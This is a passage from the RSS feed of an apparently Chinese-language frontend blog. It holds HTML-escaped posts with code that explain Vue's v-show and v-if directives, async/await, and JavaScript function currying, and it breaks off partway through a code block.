&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mounted&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; }, { &lt;span style="color:#a6e22e"&gt;transition&lt;/span&gt; }) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;transition&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;transition&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;enter&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;updated&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;oldValue&lt;/span&gt; }, { &lt;span style="color:#a6e22e"&gt;transition&lt;/span&gt; }) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;beforeUnmount&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; }) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setDisplay&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;有&lt;code&gt;transition&lt;/code&gt;就执行&lt;code&gt;transition&lt;/code&gt;，没有&lt;code&gt;transition&lt;/code&gt;就直接设置&lt;code&gt;display&lt;/code&gt;。不管初始条件是什么，元素总是会被渲染。&lt;/p&gt;
&lt;h2 id="v-if原理"&gt;v-if原理&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;transformIf&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createStructuralDirectiveTransform&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;/^(if|else|else-if)$/&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#a6e22e"&gt;node&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;dir&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;context&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;processIf&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;node&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;dir&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;context&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;ifNode&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;branch&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;isRoot&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;isRoot&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;ifNode&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;codegenNode&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createCodegenNodeForBranch&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;branch&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;context&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ) &lt;span style="color:#a6e22e"&gt;as&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;IfConditionalExpression&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// attach this branch&amp;#39;s codegen node to the v-if root.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;parentCondition&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getParentCondition&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ifNode&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;codegenNode&lt;/span&gt;&lt;span style="color:#f92672"&gt;!&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;parentCondition&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;alternate&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createCodegenNodeForBranch&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;branch&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;key&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ifNode&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;branches&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;context&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;返回一个&lt;code&gt;node&lt;/code&gt;节点，&lt;code&gt;render&lt;/code&gt;函数通过表达式的值来决定是否生成&lt;code&gt;DOM&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Async/Await</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/async-await/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/async-await/</guid><description>&lt;h2 id="asyncawait用法"&gt;async/await用法&lt;/h2&gt;
&lt;p&gt;其实你要实现一个东西之前，最好是先搞清楚这两样东西&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个东西有什么用？&lt;/li&gt;
&lt;li&gt;这个东西是怎么用的？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="有什么用"&gt;有什么用？&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;async/await&lt;/code&gt;的用处就是：&lt;strong&gt;用同步方式，执行异步操作&lt;/strong&gt;，怎么说呢？举个例子&lt;/p&gt;
&lt;p&gt;比如我现在有一个需求：先请求完&lt;code&gt;接口1&lt;/code&gt;，再去请求&lt;code&gt;接口2&lt;/code&gt;，我们通常会这么做&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;num&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;// 模拟接口请求
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Promise(&lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;num&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;then&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res1&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res1&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 1秒后 输出 2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;then&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res2&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res2&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 2秒后 输出 4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者我现在又有一个需求：先请求完&lt;code&gt;接口1&lt;/code&gt;，再拿&lt;code&gt;接口1&lt;/code&gt;返回的数据，去当做&lt;code&gt;接口2&lt;/code&gt;的请求参数，那我们也可以这么做&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;then&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res1&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res1&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 1秒后 输出 10
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res1&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;then&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res2&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res2&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 2秒后 输出 20
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;其实这么做是没问题的，但是如果嵌套的多了，不免有点不雅观，这个时候就可以用&lt;code&gt;async/await&lt;/code&gt;来解决了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res2&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 2秒后输出 20
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="是怎么用"&gt;是怎么用？&lt;/h3&gt;
&lt;p&gt;还是用刚刚的例子&lt;/p&gt;</description></item><item><title>函数柯里化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-010/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-010/</guid><description>&lt;p&gt;柯里化是函数的一个比较高级的应用，想要理解它并不简单。&lt;/p&gt;
&lt;p&gt;通过《函数与函数式编程》的学习，我们知道，接收函数作为参数的函数，都可以叫做高阶函数。我们常常利用高阶函数来封装一些公共的逻辑。&lt;/p&gt;
&lt;p&gt;我们接下来要学习的柯里化，其实就是高阶函数的一种特殊用法。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;柯里化是指这样一个函数(假设叫做createCurry)，他接收函数A作为参数，运行后能够返回一个新的函数。并且这个新的函数能够处理函数A的剩余参数。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这样的定义可能不太好理解，我们可以通过下面的例子配合理解。&lt;/p&gt;
&lt;p&gt;假如有一个接收三个参数的函数A。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;A&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// do something
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;又假如我们有一个已经封装好了的柯里化通用函数createCurry。他接收bar作为参数，能够将A转化为柯里化函数，返回结果就是这个被转化之后的函数。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_A&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createCurry&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;A&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;那么_A作为createCurry运行的返回函数，他能够处理A的剩余参数。因此下面的运行结果都是等价的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;_A&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;_A&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)(&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;_A&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;_A&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)(&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;A&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;函数A被createCurry转化之后得到柯里化函数_A，_A能够处理A的所有剩余参数。因此柯里化也被称为部分求值。&lt;/p&gt;
&lt;p&gt;在简单的场景下，我们可以不用借助柯里化通用式来转化得到柯里化函数，我们可以凭借眼力自己封装。&lt;/p&gt;
&lt;p&gt;例如有一个简单的加法函数，他能够将自身的三个参数加起来并返回计算结果。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;那么add函数的柯里化函数_add则可以如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_add&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;因此下面的运算方式是等价的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;_add&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)(&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;当然，柯里化通用式具备更加强大的能力，我们靠眼力自己封装的柯里化函数则自由度偏低。因此我们仍然需要知道自己如何去封装这样一个柯里化的通用式。&lt;/p&gt;
&lt;p&gt;首先通过_add可以看出，柯里化函数的运行过程其实是一个参数的收集过程，我们将每一次传入的参数收集起来，并在最里层里面处理。因此我们在实现createCurry时，可以借助这个思路来进行封装。&lt;/p&gt;
&lt;p&gt;封装如下:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 简单实现，参数只能从右到左传递
